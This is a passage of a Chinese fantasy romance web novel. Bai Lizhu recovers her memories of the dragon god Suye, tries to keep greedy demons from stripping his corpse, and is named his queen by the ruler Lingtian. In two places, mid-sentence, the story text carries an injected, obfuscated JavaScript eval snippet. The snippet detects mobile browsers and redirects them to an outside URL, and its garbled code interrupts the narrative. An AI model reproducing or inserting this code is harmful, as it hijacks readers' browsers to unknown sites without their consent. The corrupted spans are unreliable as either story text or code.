她无视了陆崖伸出来的手,自己爬了上去。 重新再见到青崖的漫天飞雪和倒在天池中的水晶巨龙,白骊珠才仿如梦觉,刚才她竟然是水晶巨龙的龙腹之内。 她更加震惊了:“陆崖大人,这是怎么一回事?” 陆崖:“白姑娘,你记不记得我们上天池不久,你就昏迷了过去?” 白骊珠这才想起似乎有那么一回事,道:“是这样没错,可是我为什么会在龙神的腹腔中醒来?” 陆崖一时不知该如何作答,他犹豫了一会,试探着问道:“白姑娘,你有没有觉得自己的心脏有点特别?” 难道这一切又和龙神之心有关? 白骊珠觉得自己恢复记忆这事也没啥好隐瞒的,说道:“我刚才在龙腹中,想起了一些旧事。在长月海大灾变时,我本来已经死去,是龙神溯夜用龙神之心将我复活。我身体内的这颗心脏,原本属于龙神溯夜。” 看向一旁一动不动的巨龙躯壳,白骊珠想起三百年前的往事,心中已全然没有了上山之时想要发一笔横财的念头,完全被悲伤占据,一股浊闷之气不知该如何抒发。 三百年后,无妄劫终于如期而至,龙神溯夜也殒身于无妄劫下。她当初和陆崖所做的一切努力全部都白费了,天道的诅咒开始了新的宿命轮回。 陆崖轻轻舒了一口气,“看来白姑娘已经想起了不少旧事,那我解释起来就容易多了。因为龙神之心原本归属于溯夜,后来溯夜用它复活了你,但是龙神之心只要靠近溯夜,就会与他的身体共振。从前,龙神溯夜活着,这种共振对你的影响比较小。现在他死了,这种共振会给你的身体带来巨大的消耗,所以你才会昏迷不醒。所以,我才会将你放入龙腹之内,减少你自己本身的损耗,好在你现在已经没事了。” 白骊珠问道:“龙神之心会和巨龙之躯共振,可龙神溯夜不是已经死了吗?”她心中不免生出一丝希望,如果龙神之心会与巨龙之躯共振,是不是说明他并没有完全死去。而且,方才她在龙腹之内,感觉龙神的血肉仍然具有某种生命力。 陆崖很快给她浇了一盆冷水,“我也不知道怎么回事,但龙神溯夜死于无妄劫,这是千真万确的事。我方才已经看过了,在雪顶天池的下方,已经出现了一颗新的龙蛋。按照过往的惯例,新一代的龙神百年之后就会从这颗龙蛋之中孕生。” 他伸出右手,托起一枚冰蓝色的龙蛋,脸上浮现莫测笑容:“如果白姑娘还记得前约,我可以依约将这枚龙蛋交给你保管。” 白骊珠心中浮起莫名情绪,陆崖曾经说过,就算龙蛋能孕生新一代的龙神,那也不会是溯夜。但是溯夜已死,这颗龙蛋可视作他生命的存续。 不管怎么说,还是应该将龙蛋孵化之后再说。 她伸手将那颗龙蛋接过:“交给我吧。” 龙蛋大约比白骊珠手掌大一点,略微有点沉,说大不大,说小也不小,白骊珠一时不知该往哪里塞,问道:“这该怎么孵化?” 陆崖故作高深道:“这……龙神上一次破壳也是万年前的事了,如今妖界可没有相关的记载。不过, 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营地里面,纪长怀、乌小孙和蓝鹊儿还在讨论上午看到的那具巨大的龙躯。他们是第一波上山的,按照惯例,拥有优先分配权。光是那散落一地的水晶鳞片,换成水晶币,也是一大笔横财啊。 白骊珠隔着老远就听着他们兴奋的笑声,心中苦笑。 陆崖说溯夜已经死得干干净净,她总有几分不信,她从龙腹中醒来,分明感觉到龙神虽死,他留下的血肉仍然会振动呼吸。 他是青君,是她深爱之人,她又怎能允许其他人如此对待龙神溯夜的遗体? 纪长怀见白骊珠平安归来,十分欣悦地靠拢上来,不顾十五夜翻起的白眼,抓住白骊珠的衣袖,谄媚道:“师父,你没事吧。你上午突然晕过去,可把大家担心坏了。”他扶着白骊珠在靠近自己的位置上坐下,奉上热水和烤好的食物:“师父一定饿了,这些可是徒儿特地为您准备的,师父尝尝可合胃口?” 白骊珠无心饮食,她郑重道:“各位,我有一件事想同大家商量。不,是恳求大家允准——” 她面对众人,一揖到底。 蓝鹊儿少见她如此认真的模样,将她扶了起来,道:“骊珠,大家都是朋友,这一趟都是因为跟着你,大家才能第一个到达青崖,得到龙神遗骨,发了这一大笔横财。你有什么要求,直说就是了。” 白骊珠摇摇头,道:“不,对不起,让大家的心愿落空了。我不同意按照惯例将龙神溯夜的遗体当作财物来分配,我希望将之完整地留在雪顶天池,尽可能保持原样。” 蓝鹊儿露出意外的神情:“原因呢?”纪长怀和乌小孙都十分震惊地看着她,不管是谁,跟着白骊珠这一路上山,都知道白骊珠对龙神遗骨的渴求。如今,东西眼看就能到手,白骊珠竟要放弃,这谁能想到。 白骊珠苦笑道:“因为,龙神溯夜就是青君,是从前我经常梦到的那个人,在长月海大灾变后救了我的那位救命恩人。不说别的,如今我体内这颗心,原本该是属于龙神溯夜的……” 十五夜脚步一顿,在白骊珠看不到的角度,他那张俊美无俦的脸第一次露出十分震惊和茫然的神情。 47. 第 47 章 十五夜心中震惊之情无以言表。 长月海大灾变之后他用龙神之心救了白骊珠? 有这么一回事吗? 为何他毫无印象? 可他知道,这件事情应该是真的。不然,何以解释他会失去龙神之心? 再等等…… 他为何会对自己失去龙神之心一事毫无印象,一直到这次以“十五夜”的身份和白骊珠一起攀上青崖,才发现龙神之心早已不在自己身上? 过去的三百年,青崖上的他到底在干什么? 再往回想,过去三百年的所有的事情如同一锅浆糊,浑浑噩噩,记不分明。他也不是纠结的人,既然不记得,索性就不再想,还是先想办法保住自己的“遗体”,再设法搞清楚自己死了为何没有重新轮回的事。 “龙神是我的救命恩人,虽然他已死了,我不允许任何人冒犯他的遗骨。而且我总有一种感觉,龙神的身体并没有彻底死去,也许龙神之死另有蹊跷……”白骊珠顿了顿,将想说的话继续说完:“总之,我希望暂时先将雪顶天池保持原状。当然,大家一路走到这里,并不是一件容易的事。如今,因为我的缘故,却要一无所获的下山,所以我会在力所能及的范围内给大家一些补偿……” 她话音未落,蓝鹊儿已经第一个举手道:“骊珠,大家都是朋友,补偿什么的就不用说了。我知道自己几斤几两,这一路上要不是你帮我,我根本就到不了青崖顶。既然骊珠你希望雪顶天池保持原状,那就保持原状好了。” 乌小孙也道:“白姑娘,我这个向导是打酱油的,要不是托了白姑娘的福。我也到不了雪顶天池,也看不到天地间这般盛景。”他颇有些不好意思,“从前总听说龙神大人的事迹,如今能亲自到龙神他老人家的山头来拜一拜,我乌小孙已经心满意足了。” 纪长怀第三个发言:“师父说什么,我纪长怀当然是一百个赞成。我来青崖本来就是想瞻仰龙神大人的遗体。至于钱,我青丘纪家又不差钱…” 他眼珠子一转,看到十五夜杵在白骊珠身后,看着师父的眼睛一眨不眨,忽又想到了一个绝佳的激怒师兄的主意。 他故意提高声音,吆喝道:“原来师父您就是《西陵纪事》中记载的西陵神女,还和龙神溯夜有一段难解难分的缘分。嘿嘿,我可在不少话本子看过你们的故事——师父原来只差一点点就成为龙神溯夜的王后,难怪师父您这么厉害……” 他又嗯哼了两声,故意斜觑着十五夜:“某些人仗着自己修为高一点,就想癞蛤蟆吃天鹅肉。哼哼,殊不知自己根本比不上龙神溯夜一根手指头好嘛……” 十五夜不想搭理他。 他什么时候癞蛤蟆想吃天鹅肉了? 还有,他干吗要和自己的一根手指头做比较? 纪长怀这番话没有震到十五夜,反而震到了白骊珠,后者追问道:“等等,什么差点成为龙神溯夜的王后?” 在她的记忆中,差点成为龙神溯夜王后的不是鳞昆大君的妹妹羽衣公主吗? 白骊珠要求保全龙神遗骨,蓝鹊儿便早猜到龙神溯夜就是白骊珠曾经说起的白月光青君,可这西陵神女的故事,还是第一次听到,连忙追问道:“什么西陵神女,什么水族王后,难道骊珠和龙神溯夜之间真的有一段往事?” 纪长怀道:“这就是话本子写的故事啊,说是三百年前,西陵泽魔族破封而出,龙神溯夜率领妖族大军在西陵泽抵抗魔族。西陵泽的泽水中有一位神女,神女仰慕龙神溯夜,决定帮助龙神平定魔族之乱。神女将自己作为祭仪,跳入封魔井,封印了魔渊。龙神溯夜为神女的精神所感动,他找到了神女的遗体,使用龙神之心的力量将神女复活,只是失心之后的龙神忘了神女。龙神回到了青崖,神女在青崖山底结庐而居,希望有一天能够和龙神溯夜再续前缘。神女曾经住过的地方,就是我们山下看过的西陵神女祠,你们都忘了吗?” 蓝鹊儿和乌小孙齐齐哦了一声,看着白骊珠的眼神也异样起来。 他们都到过神女祠,也都见过那座神女的石像。 乌小孙道:“难怪西陵神女的神像和白姑娘十分相似,原来如此。那这么说来,你原来是龙神溯夜的未亡人啊,难怪不想有人动他的遗体,我们理解,十分理解……” 白骊珠无语。 西陵神女的故事和她有关没错,但这个故事,也不知是谁的创作。不能说和原来的事实毫无关系,但确实关系不大。 她仰慕龙神溯夜是真,可龙神溯夜从头到尾没有承认过喜欢她。 白骊珠:“什么乱七八糟的,根本不是这么回事好吗——” 蓝鹊儿一颗八卦之心熊熊燃起,“那到底是怎么一回事?” 十五夜屏住呼吸,他现在十分确定,在三百年前他一定是和白骊珠有过什么瓜葛,这个瓜葛很有可能不仅仅是他用龙神之心救了白鱼一族最后的孤女这么简单,听起来其中还有一些有关情爱的故事。陆崖当然是知道的,但是那家伙显然不打算告诉他。 陆崖越是不说,他心中就越发好奇。 真是奇怪,他竟然在活了一万年之后,突然而然地有了好奇心这种东西。还有,他突然发现,其实他并不像自己想的那般无心无情。 至少,他对自己曾经可能和白骊珠发生过一些故事,并不怎么排斥,甚至还有些期待。 他低着头,鼻观口口观心,一副“事不关己,高高挂起”的模样,耳朵却高高竖起,唯恐错过了白骊珠一句话。 白骊珠想起梦境中的狗血往事,一时不知该如何说起。三百年过去,她不再是当初的无知少女,当初爱得死去活来,这时回顾,颇觉羞耻,含糊道:“反正就那么回事呗——” 蓝鹊儿追问:“那么回事是怎么回事?骊珠,你可不能糊弄我们,你卖这么大个关子却说不明白,我可会一整晚也睡不着的。你要是不说,我就去问陆崖大人了。三百年前的西陵泽大战,陆崖大人可是亲自参与过……” “可别——”白骊珠心想,都是三百年前的旧事,丢人就丢人吧!她将心一横,眼一闭,说道:“反正就是一些我爱你,你不爱我;我非要爱你,你非不爱我;我不爱你了,你又忽然爱我了,不,是你早就爱我……” 她给蓝鹊儿抛了个眼神,“反正就这么回事,懂吧?” 蓝鹊儿拊掌赞叹:“懂、懂,我可太懂了,我看很多话本小说可都是这么写的。骊珠啊,你可真行,连龙神溯夜都被你谈过了……哈哈……很可以的……” 十五夜暗自皱眉。 什么你你我我,爱又不爱的,他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163072|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个字都没有听懂,琢磨半天,最后只从蓝鹊儿那里得到一个确切的结论:谈过。 他那颗七上八下的心忽地就安静了下来。 谈过。 他是不是可以理解为,在三百年前的过去,她真的喜欢过他? 他唇角微微翘起一个微小的弧度,看在这么重要的情报的份上,他大可不必和中二病晚期的师弟计较。 白骊珠忽地朝他看了过来:“对了,阿夜,你呢?” 十五夜不明所以:“我什么?” 白骊珠:“这次上青崖,你白白上山一趟,什么也没得到,你想要什么补偿?” 十五夜道:“我的一切都是师父给的,我什么也不需要。” 白骊珠松了一口气,这样算起来,自己这边的一行人都全部搞定了。当然,她也知道事情没有那么简单。明后两天,山下的那些大妖就会慢慢上山,看到这满地的财宝,没几个人会不心动。 届时,云顶天池是否还能维持如此安宁的景象还不好说。 当然,为了溯夜,她也绝不会退缩就是了。好在他们这边有陆崖和十五夜两个高端战力,实在不行,就只能靠武力解决了。 晚饭之后,众人回到各自的帐篷里休息。 白骊珠忽地叫住十五夜:“阿夜,等一下。” 十五夜回头:“师父,什么事?” 白骊珠支支吾吾开口道:“阿夜,你会孵蛋吗?” 十五夜脸色一僵:“孵……孵蛋?” 白骊珠掏出从陆崖那里得到的那枚“龙蛋”,说道:“陆崖大人说了,这颗龙蛋想要早日孵化,需要平日多给它灌输一些灵力。我们中间,你的力量最强,我想来想去,觉得这个重任交给你最合适……” 她拍了拍十五夜的肩膀:“阿夜啊,师父就将这个重要的任务交给你了。你一定要帮师父这个忙,将这颗龙蛋早点孵化出来——” 十五夜的脸色变得十分古怪起来。 师父这是让他把自己的情敌从龙蛋里孵化出来? 不对,应该是将他自己从龙蛋里孵出来…… 不,还是不对。 这颗龙蛋徒有其表,根本不可能孵出什么来。 白骊珠见他愣在原地,以为他不愿意为此事消耗自己的灵力,她一拍脑袋,道:“我差点忘了,明后两天估计还有几场大战要打,你的灵力宝贵,不能消耗在这些无关紧要的事情上面。” 她高声喊道:“长怀,你过来。” 纪长怀从白骊珠单独叫十五夜留下,就一直留着耳朵注意这边的动静,听到白骊珠叫他,忙屁颠屁颠地跑过来,将龙蛋抱在怀里道:“师父,既然师兄不愿意孵蛋,就由师弟我来好了。我保证,不出十天半月,不,不出十月八月,一定能将我那师爹孵出来……” 白骊珠十分感动,这果然还是小徒弟贴心。这小徒弟是不中用了些,但是关键时候能他站出来啊,她语重心长地教诲道:“有志者、事竟成;千里之行,始于足下;咱们也不用着急,也不拘十天半月,也不拘十月八月,你只需要尽心尽力就……” 她还没说完,那颗龙蛋就被十五夜一把捞走,冷冷留下一句:“不用他,我自己来——” 纪长怀忍不住骂道:“我去,孵蛋也跟我抢——” 48. 第 48 章 陆崖回到雪顶天池时,见到十五夜站在冰雪之中。 他抱着一颗龙蛋,小心翼翼的。那龙蛋滑不溜秋,他越是小心,越是手滑,一个没拿稳,差点砸在地上,他急忙伸手去捞,可脚下一滑,最后龙蛋没事,龙神大人倒是摔了个狗啃泥。 陆崖忍不住笑出声来,认识溯夜也有几千年,他可从来没见过他这副模样。 十五夜听到笑声,回头横了一眼:“陆崖,你什么意思?” 陆崖忍住笑:“没什么意思,怎么,不让人笑啊?” 十五夜对他怒目:“我是问你为什么要将这颗龙蛋交给白骊珠,还骗她孵蛋。你明明知道,这颗蛋根本什么也孵不出来。” “哦,兴师问罪啊?”陆崖懒洋洋道:“那我应该告诉她,龙神溯夜根本就没死,还伪装成她的徒弟,一直跟着她一起上山……我现在就去告诉她所有的真相……” 他才迈开步,毫无意外地听到身后传来两个字:“站住——” 陆崖回头,摊了摊手,脸上浮现笑容:“所以,你看,并不是我想骗白姑娘,而是你想骗她……我只是配合你的计划而已……纵然你不承认有我这个朋友,在这世界上如我这般贴心的朋友可实在不多。你谈恋爱,我当月老;你分手死遁,我帮你照顾未亡人;你死遁后换马甲重新上线,我编出一堆假话给你圆谎……你还想让我怎么做?” “等等……” 听了陆崖这一番胡说八道,十五夜感觉自己脑子里的浆糊又开始摇晃,问道:“西陵纪事里的那个故事是真的?我……真的喜欢过故事中的西陵神女吗?” 在西陵祠时,他听纪长怀说起《西陵纪事》这个故事时,认为这故事是有人凭空捏造,污他清白。可下午听了白骊珠那番话,才觉得那个故事就算不全是真的,也肯定包含了一部分真相。 而且,他也并不希望那个故事全是假的。 可他心中仍然无法相信。 天道的意志不可违背。作为天道之子,他比任何人都要清楚这一点,他不可能爱上任何人。 陆崖轻轻一叹道:“溯夜,与其纠结三百年前的旧事,不如想想,上青崖的这一路,喜欢上自己师父的,究竟是从不存在的‘十五夜’,还是龙神溯夜本人呢?” 溯夜浑身一震:“从不存在的‘十五夜’,你是什么意思?” 陆崖道:“白骊珠真的曾经有一个徒弟‘十五夜’吗?你好好想想,白骊珠擅长炼器之道,于修炼一途天赋有限,而是‘十五夜’的妖力远远高于白骊珠。一个修为不怎么样的师父真的会有一个修为这么高的徒弟吗?” 溯夜反驳道:“修行这种事情主要在于天赋,你也说了白骊珠天赋一般,说不定纯纯因为‘十五夜’的天赋比白骊珠更高呢?” 陆崖笑了一声:“可是白骊珠在其姑姑白舒眉去世之后,一直在真炎宗,蓝鹊儿就是她在真炎宗认识的师姐,一直到三年前,白骊珠才离开真炎宗,自立门户。如果‘十五夜’真的是白骊珠的徒弟,蓝鹊儿应该对他很熟悉,可是蓝鹊儿跟‘十五夜’根本不熟。” 明知陆崖说得有几分道理,溯夜还是忍不住反驳道:“谁说蓝鹊儿和白骊珠相熟,就一定要和她的徒弟熟悉。而且,十五夜也可能是她最近三年收的徒弟。” “你还真是不死心。那你想想,长月海覆灭之后,白鱼一族除了白舒眉不在族中,全族覆灭。之后,是你用龙神之心将白骊珠复活。除此之外,白鱼一族再没有第三个人,这也是白骊珠自己承认的事。所以这个和白骊珠同族的‘徒弟’是哪里来的呢……” 溯夜如遇雷殛。 长月海大灾变之后的很多事情他的记忆都很模糊,可是也知道根据妖界留存下来的各种记录,长月海白鱼一族全族俱灭,除了年仅十六岁的小公主白骊珠侥幸被救,再无其他幸存者。 也就是说,“十五夜”根本不可能作为白鱼妖而存在。 他应该是在无妄劫之后莫名出现在了青崖的海边,被白骊珠顺手捡到了,顺手给他起了“十五夜”这个名字。 他究竟从何而来,白骊珠又为什么骗他? *** 青崖之上极冷,这一晚上众人都睡得不安生。 白骊珠躺在帐篷里,一晚上都在想她在龙腹里忆起的过去,直到天快亮才眯了一会。半梦半醒之间,听到蓝鹊儿在她耳边大叫道:“骊珠,不好了,快起来——” 白骊珠一个鲤鱼打挺坐了起来,道:“怎么了?” 蓝鹊儿着急道:“天池那边要出事了。山下的那些大妖上山了,他们说要瓜分龙神溯夜的遗骨。陆崖大人和十五夜不知去了哪儿,纪长怀和乌小孙去找他们了,让我先来通知你……” 白骊珠匆匆赶到天池,果然见天池那里已经聚集了无数的大妖。许多大妖们一辈子都没有见过这么多的水晶,露出迷醉的神情,兴奋得又叫又跳。 还有不少人已经爬上龙鳍,试图将那些瑰丽的水晶鳞片拔下来,尝试未果之后,不少人甚至拿出武器试图将鳞片敲下来或割下来。 白骊珠怎能容忍他们如此对待龙神溯夜的“遗体”,她轻身一跃,已跳到龙躯最高处,向下方的人群大叫道:“住手——” 听到声音,大妖们一起抬头向她这边看了过来,纷纷喝问道:“你是什么人,凭什么让我们住手?” 白骊珠本想稳住众人,等兽神陆崖过来再作处置。她四处张望,除了蓝鹊儿一个熟人都没有,只好先据理力争。 她居高临下,大声道道:“按照惯例,死去的大妖若无亲属收殓骸骨,其死去的灵骨属于无主之物,先到先得。这次,龙神溯夜历无妄劫而死,我和我的朋友们是昨天最先登上青崖,按照惯例,龙神溯夜的遗骨应该归我们处置。” 众妖对视一眼,心中打起嘀咕。他们打山崖那边过来,自然知道早有人在他们之前就已经上了青崖,本以为这一趟是竹篮打水一场空。 谁知上了山,龙神的遗骨仍然好生生地留在天池之中,湛蓝色的水晶简直闪瞎众妖的双眼,世间财帛动人心,哪还顾得上许多。这要不是这水晶鳞片实在不太好拔,这会早该被一抢而空了。 这会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163073|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白骊珠站出来,说这龙神遗骨是归她所有,大妖们有的将信将疑,毕竟这白骊珠只是个炼器师,论起修为来,并不怎样。大妖们自恃修为高强,这一路上紧赶慢赶,才勉强跟着第一梯队上山,她白骊珠何德何能,竟然比大家还提前一天上来。 一只长相凶恶的蛇妖伸了伸长长的舌头,阴沉沉说道:“你说你最先上来,有什么证据?说不定你就是刚才和大家一起上山,一个人想独吞宝藏……” 宝藏实在诱人,众妖见着这明晃晃的财宝,又有哪个愿意放弃到了嘴边的肥肉,纷纷附和道:“是啊,是啊,你说你第一个上山,有证据吗?” “你不过一个小小的炼器师,怎么可能比我们这么多人先到青崖。呵,小小鱼妖,吹牛也不打草稿吗?” “就是,你要是昨天就上山了,怎么会这么好心将这满地的财宝都留在这里?” 白骊珠一怔。 要证据她确实没有,她总不能拿笔在龙神遗骨上标个记号吧,写个名字吧。但是证人还是有的,她大声道:“昨天,兽神陆崖和我一同上山,他可以做证……你们不相信我,难道不相信兽神大人吗?” 众妖显然不信,讥嘲道:“兽神陆崖堂堂大君,怎么会和你这么一个名不见经传的小妖一起。嘿,就算是吹牛也得打个草稿吧……” 白骊珠心中焦急,四处寻找陆崖的踪迹,可在这个节骨眼,陆崖却不知道跑哪儿去了,只见到纪长怀从远处跑过来,问道:“找到了吗?” “没有。不知道舅舅怎么突然不见了……”纪长怀一心护师,见到一群人围着白骊珠,大声道:“我可以做证,昨天就是我们先到的。只不过是我师父不想损毁龙神溯夜的遗骨,才想将之维持原状。你们要是敢擅自动手,将来我舅舅知道了,必定饶不了你们。” 众妖见纪长怀出面,顿时有几分忐忑。据传兽神陆崖和龙神溯夜关系不错,维护龙神的遗骨也不无可能。 先前那蛇妖一心挑事,大叫道:“大家别被他们唬住了,什么维持现状,龙神溯夜已经死了,咱们好不容易才上得青崖,难道还能空手而回不成。再说了,咱们这么多人,兽神大人又能将咱们怎么样?到手的钱财才是实打实的——” 那蛇妖率先甩出一鞭,将龙尾处一块巴掌大的水晶鳞片拔了下来。 众妖一想,法不责众,自古皆然。他们本来心中蠢蠢欲动,又有个带头的,当即一拥而上,拿着各自的武器,去敲龙躯上的鳞片。 白骊珠急得眼泪都快掉下来了,一边喊着不许动手,一边上前想要拦住那蛇妖,那蛇妖怎会跟她客气,当即打斗起来,蓝鹊儿和纪长怀也上去帮忙,可他们几人都修为平平,很快各自挂彩。 忽地,白骊珠发出一声痛呼,蓝鹊儿侧头一看,只见白骊珠和那蛇妖缠斗时,左臂被那蛇妖的鞭子抽中,大半条手臂登时红肿起来,很快泛出紫色,似乎是中毒了。 白骊珠强忍疼痛,斥道:“你在兵器上淬了毒?” 那蛇妖阴笑道:“哼,小小鱼妖,你要是再敢阻拦,可别怪爷爷我不客气了——” 49. 第 49 章 天池之底,十五夜睁开眼睛,抬头看向天池上方,问陆崖道:“出什么事了?” 陆崖脸上也露出焦急神色,他比十五夜更早地察觉到上方的冲突,也听到了白骊珠的呼叫声。 他按捺住心中焦急,安慰道:“别急,上方的事我早有安排,算算时间,羽族女君翎天就快到了,不会有事。当务之急,你先静心入定,将龙蛋中的力量彻底吸收再说……” …… 昨天晚上,十五夜抱着那颗龙蛋,尝试将按白骊珠的说法向龙蛋注入灵力——他当然不想着孵出个什么,只是预料到以白骊珠对这颗龙蛋的重视程度,明日一早少不得过来检查他“孵蛋”的进度,要是看到龙蛋毫无变化,说不定会觉得他偷懒。届时,再有纪长怀这阴魂不散的家伙在一旁添油加醋,想必会大大影响他在白骊珠心中的形象。 可当他往龙蛋注入灵力时,发现根本无法注入,却觉察到龙蛋原本的灵力开始慢慢向他的这具躯体流动。 随着灵力的流动,他的面容也渐渐发生了变化。这张美丽得有些妖冶的少年脸孔的轮廓渐渐明晰起来,眼部的线条更加深邃,眼角处那片金边银鳞也慢慢消失,整张脸变得冷峻而威严——这是原本属于龙神溯夜的脸。 那颗龙蛋是无妄劫之后自然产生,里面蕴含着他曾经的部分力量,本来是用来孕生下一代的龙神。如今他的魂魄莫名附身在眼下这“十五夜”的躯壳之中,这颗龙蛋因此成为没有生命的死物。 他隐隐有一种直觉,只要他完全吸纳龙蛋中的灵力,便可以拿回曾经属于自己的力量。 只是,他该这么做吗? 陆崖也察觉了“十五夜”身体的变化,比他本人还要兴奋,笑道:“我替你护法,你快将龙蛋中的灵力吸纳。哈哈,如果成功了,现在的躯壳可以成为你以后的身体,说不定我们便能避开天道的视线,修改宿命的结果……” 十五夜终于忍不住:“陆崖,这一切究竟是怎么回事,你到底在搞什么鬼……” 陆崖知道再无法瞒他,说道:“你听我说,你现在的躯壳,是妖界第一炼器师白舒眉花费十年心血,打造的超天阶灵器。白舒眉给它起了一个名字,名字叫作‘傀’……” *** 雪崖。 天池。 白骊珠左臂中毒,迅速肿胀起来。她忍着痛,张开双臂,挡在倒落的龙躯前:“不许动他——” 蛇妖恶狠狠龇牙:“小妖,你找死,我现在就成全你——”蛇妖挥舞着鞭子,再次朝白骊珠扫了过来。白骊珠闭上眼睛,等待着鞭子抽上身体的灼痛。 她那点三脚猫的功夫,在这等实力的大妖面前根本不够看。她一路靠着招摇撞骗上山,这会儿才发现自己啥也不是,根本保护不了任何人。 即便如此,她还是无法忍受有人在她面前破坏龙神的遗骨,哪怕那个人早就死了,根本不会有任何知觉。与其眼睁睁看着他尸骨不全,她宁愿以身为盾,死在他的身前。 预料中的疼痛并没有来临,半空中传来一声清叱:“通通住手——” 白骊珠抬头一看,只见天上悬浮着巨大的梧桐宫,白鸟翔集,一位头戴凤冠、身着翎羽的女王自空中缓缓降下,她的身后跟着一大队的羽族侍卫,阵势迫人,仿佛帝君出巡。 翎天落在白骊珠身前,她伸手一抬,看不出如何出招,那蛇妖手中的鞭子已经断成数截。 蛇妖脸色一变,在场的大妖们纷纷跪地:“参见翎天大人。” 在龙神溯夜隐退的三百年,羽族女君翎天的声望更重,已然是整个妖界的话事人。女君只稍微展露怒颜,在场大妖们都噤若寒蝉。 白骊珠神情复杂。 在过去三百年间,她也听说了这位女君秉公处事、从不徇私的好名声,再加上这些年妖界在她的治下也算太平,她对女君翎天的观感并不算差。 只是昨日忆起旧事,认真算起来,她和这位女君之间还有一笔旧账要算。三百年前,她被女君翎天以大义的名分裹挟,差点死在魔渊之中。 虽说翎天是为了拯救妖界,但于白骊珠而言,这着实不是一次愉快的经历。 白骊珠也心知,女君翎天已经到了这里,今日青崖上的事多半就要由她决断。换言之,她如果想要保住龙神溯夜的遗骸,只怕不得不求助眼前之人。 形势比人强,就算百般不愿,白骊珠也学着众妖的模样,对着翎天屈膝:“参见翎天大人。” 她才下腰,双手便被女君翎天撑住,将她提了起来,微笑道:“王后殿下不必对我行礼,我可担当不起。” 白骊珠一怔。 女君翎天叫她王后殿下?什么王后殿下?她怎么不知道自己有这么一个牛逼轰轰的身份呢? 难道是陆崖已经将两人的婚约宣扬出去了?这可是天大的误会,她当初确实是想骗婚,从陆崖那里捞点好处来着。可如今恢复记忆,也知这婚约什么的本来就是假的。 她正要解释,女君翎天看了看白骊珠手臂已经肿胀的伤口,转头看向刚才那只行凶的蛇妖,冷声道:“将解药交出来。” 那蛇妖不敢不从,从口袋里拿出一只装了药膏的瓷瓶,道:“只需要外敷即可。” 翎天接过瓷瓶,对羽卫下令道:“来人,将这在兵器上淬毒,以下犯上,意图伤害王后殿下的蛇妖拿下——” 那蛇妖觉得很是冤枉,委屈地大喊道:“翎天大人,饶命啊。俺根本就不知道她是什么王后大人啊,要是俺早知道,绝对不敢得罪。” 白骊珠也小声道:“翎天大人,我和陆崖大人的婚约,中间有误会。我不是什么王后大人,也请翎天大人不要这么称呼。” 翎天眼神有一丝异样:“你和陆崖之间有婚约,这是什么时候的事?”她哼了一声:“三百年前,龙神溯夜将你托付给他照管,他就是这样照管吗?将朋友的妻子据为己有,这要是龙神真死了,怕不得马上气得活过来……” 这下子误会更大了,白骊珠这下子更窘迫了,讪讪道:“我不是这个意思,这些都是误会……都是误会……” 好在翎天也没有在这件事情上纠结,说道:“是误会就好,陆崖要是敢娶水族王后,我立刻派人将他抓回万木城问罪。” “什么?水族王后?”白骊珠这下更惊了,连忙道:“翎天大人您误会了,我和龙神溯夜并无关系……不,并不是翎天大人您想的那种关系,您知道,龙神溯夜并不曾喜欢我,我也不是什么水族王后……” 翎天并不辩解,只是看着天池中巨大的龙神遗骨,轻声道:“我没有误会。我方才来此的路上,在天上看得一清二楚,你想保住龙神溯夜的遗骨,所以才会被蛇妖攻击,是不是?” 白骊珠道:“正是。翎天大人,我们昨日就到了青崖,按照咱们妖界的规矩,龙神遗骨应该由我处置,还望翎天大人主持公道。” 翎天摇头道:“你想要的公道我主持不了。” “哈?为啥?” 翎天道:“龙神遗骨并不适用于妖界一般法则。龙神历无妄劫之后,其居住的青崖的屏障会自动开放,妖界的所有妖族皆可上山分抢龙神的遗骨,取其中有用之物为己所用。这是天道对龙神的诅咒与惩罚,就算你昨日最先上山,也只能由你先取三件宝物,你取完之后其他人可再取其他部分,这是天道的规矩。” 白骊珠傻眼了,这一路上陆崖根本没给她说过这条啊。 唉,在山下时她的想法是随便捞一点水晶鳞片,这一趟青崖之行就不算亏,要是得到龙神之心就赚了。可如今嘛,莫说是从龙神身上取宝,就算是一枚鳞片她也不想动。不仅自己不想动,还不想别人动。 她垂下头,低低哀求道:“翎天大人,龙神溯夜之所以落得如今这步田地,全是为了妖界五族的子民。妖界子民们难道没有一点感恩之心,非要将之剥皮拆骨,让他死后也不得安宁吗?翎天大人你身为妖界如今的主事者,难道就不能在此事上面网开一面吗?” “白骊珠,你错了,我正是为了网开一面才来到这里。”女君翎天微笑着看向她:“而想保留龙神溯夜的遗骨的关键,就在你自己身上。” 白骊珠瞠目结舌:“我?” “不错。根据妖界的规矩,死去的大妖如果还有亲人存世,其遗骨便由亲人处置。换而言之,龙神之所以死后被剥皮拆骨,只是因为天道的诅咒,他没有爱人,自然也没有亲人。如果,他尚有亲人存世,结果自然大不一样。比如说你,水族的王后白骊珠,身为龙神溯夜的爱人,自然完全有处置龙神遗骨的资格。” 翎天眨了眨眼:“不知我如此处置,王后大人能否满意?” 白骊珠简直石化了。 她这个时候终于明白了过来。 翎天一开始称呼她为“王后”,并不是是说让她成为兽族的王后,而是让她成为水族的王后,龙神溯夜的妻子,这样她便拥有了处置龙神遗骨的资格。 